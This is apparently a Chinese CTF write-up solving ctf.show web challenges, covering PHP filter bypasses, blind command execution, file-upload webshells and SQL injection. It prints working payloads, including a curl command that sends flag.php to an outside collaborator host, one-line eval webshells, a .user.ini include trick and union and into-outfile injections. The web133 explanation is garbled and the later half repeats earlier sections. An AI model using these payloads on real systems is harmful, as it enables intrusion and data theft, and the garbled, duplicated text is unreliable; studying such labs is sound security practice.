但是我们可以利用$_SERVER[‘argv’]的特性构造payload
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去。
也就是+把
a=1+fl0g=flag_give_me分成了两部分
一部分是a=1另一部分fl0g=flag_give_me
web127(利用特殊符号构造_
)
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
思路
先理清逻辑关系,第一个if,要经过waf检测$url有没有特殊符号,如果没有extract()
将GET方法传入的参数变成键值对,如
<?php
$array = array("a" => "apple", "b" => "banana", "c" => "cherry");
$a = "avocado";
// EXTR_SKIP 会跳过已有的变量
extract($array, EXTR_SKIP);
echo $a; // 输出: avocado
echo $b; // 输出: banana
echo $c; // 输出: cherry
?>
而$_SERVER['QUERY_STRING']
会将url传入的参数变成数组中的键值对,而extract函数是将键值对变成变量
因此构造payload
?ctf%20show=ilove36d
%20
还是利用之前的漏洞,让他变成_
web128(gettext拓展的使用)
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
在开启该拓展后 _() 等效于 gettext()
<?php
echo gettext("phpinfo");
结果 phpinfo
echo _("phpinfo");
结果 phpinfo
所以 call_user_func('_','phpinfo')
返回的就是phpinfo
因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
web129(目录穿越)
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos()
查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
一个简单的方法就是远程文件包含,在自己的服务器上写个一句话,然后保存为txt文档。
例如 f=http://url/xxx.txt?ctfshow
其中xxx.txt为一句话
要是没有服务器的话,我们也可以用php伪协议绕过
f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
filter伪协议支持多种编码方式,无效的就被忽略掉了。
也可以目录遍历
?f=./ctfshow/../flag.php
web130(PCRE回溯次数限制绕过某些安全限制)
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
看到这个正则匹配:if(preg_match('/.+?ctfshow/is', $f)){
,比较容易想到回溯,因为让我绕我也想不出来怎么去绕过。。。不过回溯肯定可以。
P神博客
import requests
url='http://f94875cc-6b28-46e2-a59c-4ad652d03be2.chall.ctf.show/'
data={
'f':'a'*1000000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)
考察点:利用正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
非预期
利用数组 f[]=ctfshow
web132(运算符的优先级)
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
- PHP中的逻辑“与”运算有两种形式:and 和 &&,同样“或”运算也有 or 和 || 两种形式。
- 如果是单独两个表达式参加的运算,两种形式的结果完全相同
- 但两种形式的逻辑运算符优先级不同,这四个符号的优先级从高到低分别是: &&、||、AND、OR。
让我们逐步解释并分析这段代码:
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
分析
-
$code === mt_rand(1,0x36D)
:mt_rand(1, 0x36D)
使用的是mt_rand
函数,它生成一个在 1 到 0x36D(即 1 到 877 十进制)之间的随机整数。===
是严格比较运算符,它不仅比较值,还比较类型。- 这部分检查
$code
是否等于一个在 1 到 877 之间的随机整数。
-
$password === $flag
:===
严格比较$password
和$flag
的值和类型。
-
$username === "admin"
:===
严格比较$username
和字符串"admin"
的值和类型。
运算顺序
在条件语句中,运算符的优先级很重要。&&
的优先级高于 ||
,因此表达式的计算顺序如下:
- 首先计算
$code === mt_rand(1,0x36D) && $password === $flag
。 - 然后将上述结果与
$username === "admin"
进行||
运算。
所以实际上,这段代码等效于:
if (($code === mt_rand(1,0x36D) && $password === $flag) || $username === "admin")
解释
- 如果
$username
是"admin"
,条件将为真,不管$code
和$password
的值是什么。 - 如果
$username
不是"admin"
,则需要满足$code
等于 1 到 877 之间的某个随机整数,同时$password
必须等于$flag
,条件才为真。
可能存在的问题
mt_rand
的每次调用会生成一个新的随机数,这意味着mt_rand(1,0x36D)
在每次调用时可能会不同。这样,$code
比较每次都会不同。- 逻辑中使用了
||
,这意味着只要$username
是"admin"
,整个条件都将为真。
web133(使用collaborator模块,类似于DNSlog)
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
思路
get传参 F=$F
;sleep 3
经过substr(
F
,
0
,
6
)
截取后得到
‘
F,0,6)截取后 得到 `
F,0,6)截取后得到‘F ; 也就是会执行 eval("
F
‘
;
"
)
;
我们把原来的
F `;"); 我们把原来的
F‘;");我们把原来的F带进去
eval(“``
F
‘
;
s
l
e
e
p
3
‘
"
)
;
也就是说最终会执行
‘
‘
F `;sleep 3`"); 也就是说最终会执行 ` `
F‘;sleep3‘");也就是说最终会执行‘‘F ;sleep 3
== shell_exec(”$F
;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了
简而言之就是套娃
无回显我们可以用反弹shell 或者curl外带 或者盲注
这里的话反弹没有成功,但是可以外带。
curl http://xxx:4567?p=`tac f*`
当然要是没有公网ip的话,bp也可以帮到我们这个忙
payload: curl -X POST -F xx=@flag.php http://xxx
具体使用方法
首先将地址复制到剪贴板
a5gz0n8cbi54cxyp932j216c73dt1i.oastify.com//获得一个地址
再构造payload
?F=`$F`;+curl -X POST -F xx=@flag.php
http://a5gz0n8cbi54cxyp932j216c73dt1i.oastify.com//刚刚的地址
# -X POST 指定 HTTP 请求的方法为 POST
# 其中-F 是带文件的形式发送post请求
# xx是上传文件的name值,flag.php就是上传的文件
web134(POST数组的覆盖)
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
测试代码
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);
然后我们传入 _POST[‘a’]=123
会发现输出的结果为array(1) { [“‘a’”]=> string(3) “123” }
也就是说现在的$_POST[‘a’]存在并且值为123
题目中还有个extract($_POST)
这样的话 $a==123
payload:_POST[key1]=36d&_POST[key2]=36d
web136(tee命令以及一些bash符号命令)
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
但是linux中还可以用tee写文件
常见用例: tee file //覆盖
tee -a file //追加
tee - //输出到标准输出两次 tee - - //输出到标准输出三次
tee file1 file2 - //输出到标准输出两次,并写到那两个文件中
ls | tee file
另:把标准错误也被tee读取 ls “*” 2>&1 | tee ls.txt
?c=ls \|tee 1
//将根目录下的内容写入1
访问1,下载文件发现f149_15_h3r3
?c=nl /f149_15_h3r3|tee 1
访问1,下载文件得flag
tee命令
tee
命令是一个非常有用的工具,用于将标准输入的内容同时写入标准输出和一个或多个文件。它的主要用途是在将数据流通过管道传递给下一个命令的同时,保存数据到文件中。这在调试和记录数据流过程中非常有用。
基本语法
command | tee [option]... [file]...
常用选项
-a
或--append
:将输出追加到文件末尾,而不是覆盖文件。-i
或--ignore-interrupts
:忽略中断信号。
示例讲解
1. 基本用法
将命令的输出同时显示在终端并保存到文件中。
ls -l | tee output.txt
这将列出当前目录的详细信息,输出到终端的同时,保存到 output.txt
文件中。
2. 追加模式
将输出追加到文件末尾,而不是覆盖文件。
echo "New line" | tee -a output.txt
这将把 “New line” 追加到 output.txt
文件的末尾,而不是覆盖文件内容。
3. 同时保存到多个文件
将输出保存到多个文件中。
ls -l | tee file1.txt file2.txt
这将把 ls -l
的输出同时保存到 file1.txt
和 file2.txt
中,并显示在终端上。
4. 与其他命令组合使用
结合 tee
和其他命令,可以实现复杂的管道操作。例如,将命令的输出保存到文件,同时传递给另一个命令进行处理。
ls -l | tee output.txt | grep "pattern"
这将把 ls -l
的输出保存到 output.txt
文件,同时过滤包含 “pattern” 的行并显示在终端上。
使用场景
-
调试脚本:在调试脚本时,可以使用
tee
将中间输出保存到文件中,方便后续分析。 -
日志记录:在长时间运行的任务中,使用
tee
可以同时将输出保存到日志文件和终端,便于实时监控和事后检查。 -
多文件保存:当需要将同一个输出保存到多个文件时,
tee
可以非常方便地实现这一点。
示例
实时监控和保存日志
假设你有一个长时间运行的任务,并希望实时监控输出,同时将输出保存到日志文件中:
./long_running_task.sh | tee task.log
这样,你可以在终端中实时看到任务的输出,同时将输出保存到 task.log
文件中,便于后续查看和分析。
保存多个命令的输出
你可以使用 tee
将多个命令的输出保存到不同的文件中:
(date; uptime; who) | tee date.log uptime.log who.log
这将把 date
、uptime
和 who
命令的输出同时保存到 date.log
、uptime.log
和 who.log
文件中,并显示在终端上。
Bash中比如 ‘/’ ’|‘等的符号命令
在 Bash 中,有许多符号和特殊字符用于不同的操作。这些符号包括但不限于 /
和 |
,它们在文件路径、管道、命令替换等方面起到重要作用。下面具体介绍一些常用符号及其作用:
/
斜杠
-
路径分隔符:
- 在 Linux 文件系统中,
/
用于分隔文件和目录的路径。 - 例如:
/home/user/documents
表示home
目录下的user
目录,再下一级的documents
目录。
- 在 Linux 文件系统中,
-
根目录:
- 单独的
/
表示文件系统的根目录。 - 例如:
/etc
表示根目录下的etc
目录。
- 单独的
|
管道符
- 管道符用于将一个命令的输出作为另一个命令的输入。
- 例如:
ls -l | grep "test"
会列出当前目录中包含 “test” 的文件详细信息。
其他常见符号
>
和 >>
-
重定向输出:
>
将命令的输出重定向到一个文件,覆盖文件内容。- 例如:
echo "Hello" > file.txt
会将 “Hello” 写入file.txt
,覆盖原有内容。
-
追加输出:
>>
将命令的输出追加到一个文件,不覆盖原有内容。- 例如:
echo "Hello" >> file.txt
会将 “Hello” 追加到file.txt
末尾。
<
和 <<
-
重定向输入:
<
将文件的内容作为命令的输入。- 例如:
wc -l < file.txt
会计算file.txt
中的行数。
-
Here Document:
<<
允许多行输入,直到遇到指定的结束标记。- 例如:
cat << EOF Hello World EOF
&
- 后台运行:
&
将命令放入后台运行。- 例如:
sleep 10 &
会将sleep 10
放入后台执行,立即返回命令行提示符。
&&
和 ||
-
逻辑与:
&&
只有在前一个命令成功时才执行后一个命令。- 例如:
mkdir test && cd test
只有在mkdir test
成功后才会执行cd test
。
-
逻辑或:
||
只有在前一个命令失败时才执行后一个命令。- 例如:
cd test || echo "Directory not found"
只有在cd test
失败时才会执行echo "Directory not found"
。
;
- 命令分隔符:
;
用于在同一行中分隔多个命令,按顺序依次执行。- 例如:
echo "Hello"; echo "World"
会依次输出 “Hello” 和 “World”。
`
和 $()
- 命令替换:
`command`
和$(command)
用于命令替换,即将命令的输出作为另一个命令的参数。- 例如:
echo $(date)
会输出当前日期和时间。
*
和 ?
-
通配符:
*
匹配零个或多个字符。- 例如:
ls *.txt
会列出所有.txt
结尾的文件。
-
单个字符匹配:
?
匹配单个字符。- 例如:
ls file?.txt
会匹配file1.txt
,file2.txt
等。
[]
- 字符集匹配:
[]
匹配方括号内的任意单个字符。- 例如:
ls file[1-3].txt
会匹配file1.txt
,file2.txt
,file3.txt
。
示例讲解
# 创建一个目录并进入该目录
mkdir test && cd test
# 创建多个文件
touch file1.txt file2.txt file3.txt
# 列出文件并通过管道传递给grep进行过滤
ls -l | grep "file"
# 将命令的输出重定向到一个文件
echo "This is a test" > test.txt
# 追加内容到文件
echo "Another line" >> test.txt
# 使用命令替换来打印当前日期
echo "Today is: $(date)"
# 使用通配符匹配多个文件
rm file?.txt
# 通过Here Document输入多行文本到cat命令
cat << EOF
This is a
multi-line
text
EOF
web137(调用类中的函数)
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
拓展
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
也就是说双冒号可以不用实例化类就可以直接调用类中的方法
payload:
ctfshow=ctfshow::getflag
web138(call_user_func()用数组形式调用类方法)
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
call_user_func(array($classname, 'say_hello'));
调用classname这个类里的sya_hello方法
array[0]=$classname 类名
array[1]=say_hello say_hello()方法
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
文件上传
web153(.user.ini)
大前提需要文件上传所在文件夹里有php文件/或者有文件包含漏洞,然后访问能够访问该php文件才能使得配置文件加载里面的配置内容,如这道题的php文件其实就是/upload,能访问到这个页面就说明这个页面是该文件夹的index.php索引界面,只是index.php默认省略。
auto_prepend_file=filename //包含在文件头
auto_append_file=filename //包含在文件尾
//filename是你自己的文件名
为了利用auto_append_file,我们首先上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名,接着上传一个带木马的图片
因为upload有index.php,所以这个php就会添加一个include(“shell.png”),就会包含到木马,这样就在每个php文件上包含了我们的木马文件。
先上传.user.ini.png文件并且抓包,修改.user.ini.png文件名为.user.ini并且放包,发现上传成功,之后在上传shell.png,上传成功之后就访问url/upload然后就可以命令执行或者连接蚁剑
注意:
一定要在上传的文件夹具有php文件或者文件包含漏洞才可以
web156(当[]
被过滤)
使用{}
来代替
<?=eval($_POST{1});?>
Web159(日志包含)
过滤了括号,那就用反引号就可以啦
<?=`tac ../f*`?>
web161(文件幻数)
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
这道题对图片的文件头进行了检测!
所以在上题的基础上都加个 **GIF89a** 图片头就可以了
.user.ini也得加,图片也得加,上题的两种方法都可以
首先先上传user.ini和图片
U-A写入一句话
web162(session条件竞争)
题目过滤了.
,因此将user.ini里面的改成png,正常上传,跑脚本
SQL注入
web174(盲注或脚本)
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
import requests
from concurrent.futures import ThreadPoolExecutor
# for j in range(0,40):
# for i in range(0,127):
# m=1
# url=f"http://bf3c8cb1-65a6-438b-b02f-fe7be3e46d48.challenge.ctf.show/api/v4.php?id=1%27%20and%20ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user4'),{j},1))={i}--+"
# resp=requests.get(url)
# data = resp.json()
# if(data["data"]!=[]):
# char=chr(i)
# print(char,end='')
# print('over')盲注脚本
替换
t='password'
for i in range(10):
r=chr(ord(str(i))+49)
s=f"replace({t},'{i}','_{r}_')"
t=s
print(s)
//-1'+union+select+replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','_a_'),'1','_b_'),'2','_c_'),'3','_d_'),'4','_e_'),'5','_f_'),'6','_g_'),'7','_h_'),'8','_i_'),'9','_j_'),'aa'+from+ctfshow_user4+where+username='flag'--+
需要再替换回去,代码如下
en_s='ctfshow{_g_b_b_c_g__g_ca-_h__e_f_a_-_e__a__d__e_-af_g__a_-_d__a__b__c_c_c__e__h_a_i_dc}'
i=0
l=len(en_s)
new=''
while i<l:
if en_s[i]=='_':
j=i+3
de_s=chr(ord(en_s[i+1])-49)
new+=de_s
i=j
else:
new+=en_s[i]
i+=1
print(new)
最终拿到Flag
web175(将内容写入文件)
-1'union select username,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+
cument输入多行文本到cat命令
cat << EOF
This is a
multi-line
text
EOF
## web137(调用类中的函数)
class ctfshow
{
function __wakeup(){
die(“private class”);
}
static function getFlag(){
echo file_get_contents(“flag.php”);
}
}
call_user_func($_POST[‘ctfshow’]);
拓展
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
也就是说双冒号可以不用实例化类就可以直接调用类中的方法
payload:
ctfshow=ctfshow::getflag
## web138(call_user_func()用数组形式调用类方法)
class ctfshow
{
function __wakeup(){
die(“private class”);
}
static function getFlag(){
echo file_get_contents(“flag.php”);
}
}
if(strripos($_POST[‘ctfshow’], “:”)>-1){
die(“private function”);
}
call_user_func($_POST[‘ctfshow’]);
call_user_func(array($classname, ‘say_hello’));
调用classname这个类里的sya_hello方法
array[0]=$classname 类名
array[1]=say_hello say_hello()方法
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
# 文件上传
## web153(.user.ini)
大前提需要文件上传所在文件夹里有php文件/或者有[文件包含漏洞](https://so.csdn.net/so/search?q=文件包含漏洞&spm=1001.2101.3001.7020),然后访问能够访问该php文件才能使得配置文件加载里面的配置内容,如这道题的php文件其实就是/upload,能访问到这个页面就说明这个页面是该文件夹的index.php索引界面,只是index.php默认省略。
auto_prepend_file=filename //包含在文件头
auto_append_file=filename //包含在文件尾
//filename是你自己的文件名
为了利用auto_append_file,我们首先上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名,接着上传一个带木马的图片
因为upload有index.php,所以这个php就会添加一个include(“shell.png”),就会包含到木马,这样就在每个php文件上包含了我们的木马文件。
先上传.user.ini.png文件并且抓包,修改.user.ini.png文件名为.user.ini并且放包,发现上传成功,之后在上传shell.png,上传成功之后就访问url/upload然后就可以命令执行或者连接蚁剑
### 注意:
一定要在上传的文件夹具有php文件或者文件包含漏洞才可以
## web156(当`[]`被过滤)
使用`{}`来代替
<?=eval($_POST{1});?>
## Web159(日志包含)
过滤了括号,那就用反引号就可以啦
```cobol
<?=`tac ../f*`?>
web161(文件幻数)
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
这道题对图片的文件头进行了检测!
所以在上题的基础上都加个 **GIF89a** 图片头就可以了
.user.ini也得加,图片也得加,上题的两种方法都可以
首先先上传user.ini和图片
U-A写入一句话
web162(session条件竞争)
题目过滤了.
,因此将user.ini里面的改成png,正常上传,跑脚本
SQL注入
web174(盲注或脚本)
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
import requests
from concurrent.futures import ThreadPoolExecutor
# for j in range(0,40):
# for i in range(0,127):
# m=1
# url=f"http://bf3c8cb1-65a6-438b-b02f-fe7be3e46d48.challenge.ctf.show/api/v4.php?id=1%27%20and%20ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user4'),{j},1))={i}--+"
# resp=requests.get(url)
# data = resp.json()
# if(data["data"]!=[]):
# char=chr(i)
# print(char,end='')
# print('over')盲注脚本
替换
t='password'
for i in range(10):
r=chr(ord(str(i))+49)
s=f"replace({t},'{i}','_{r}_')"
t=s
print(s)
//-1'+union+select+replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','_a_'),'1','_b_'),'2','_c_'),'3','_d_'),'4','_e_'),'5','_f_'),'6','_g_'),'7','_h_'),'8','_i_'),'9','_j_'),'aa'+from+ctfshow_user4+where+username='flag'--+
需要再替换回去,代码如下
en_s='ctfshow{_g_b_b_c_g__g_ca-_h__e_f_a_-_e__a__d__e_-af_g__a_-_d__a__b__c_c_c__e__h_a_i_dc}'
i=0
l=len(en_s)
new=''
while i<l:
if en_s[i]=='_':
j=i+3
de_s=chr(ord(en_s[i+1])-49)
new+=de_s
i=j
else:
new+=en_s[i]
i+=1
print(new)
最终拿到Flag
web175(将内容写入文件)
-1'union select username,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+
待更新…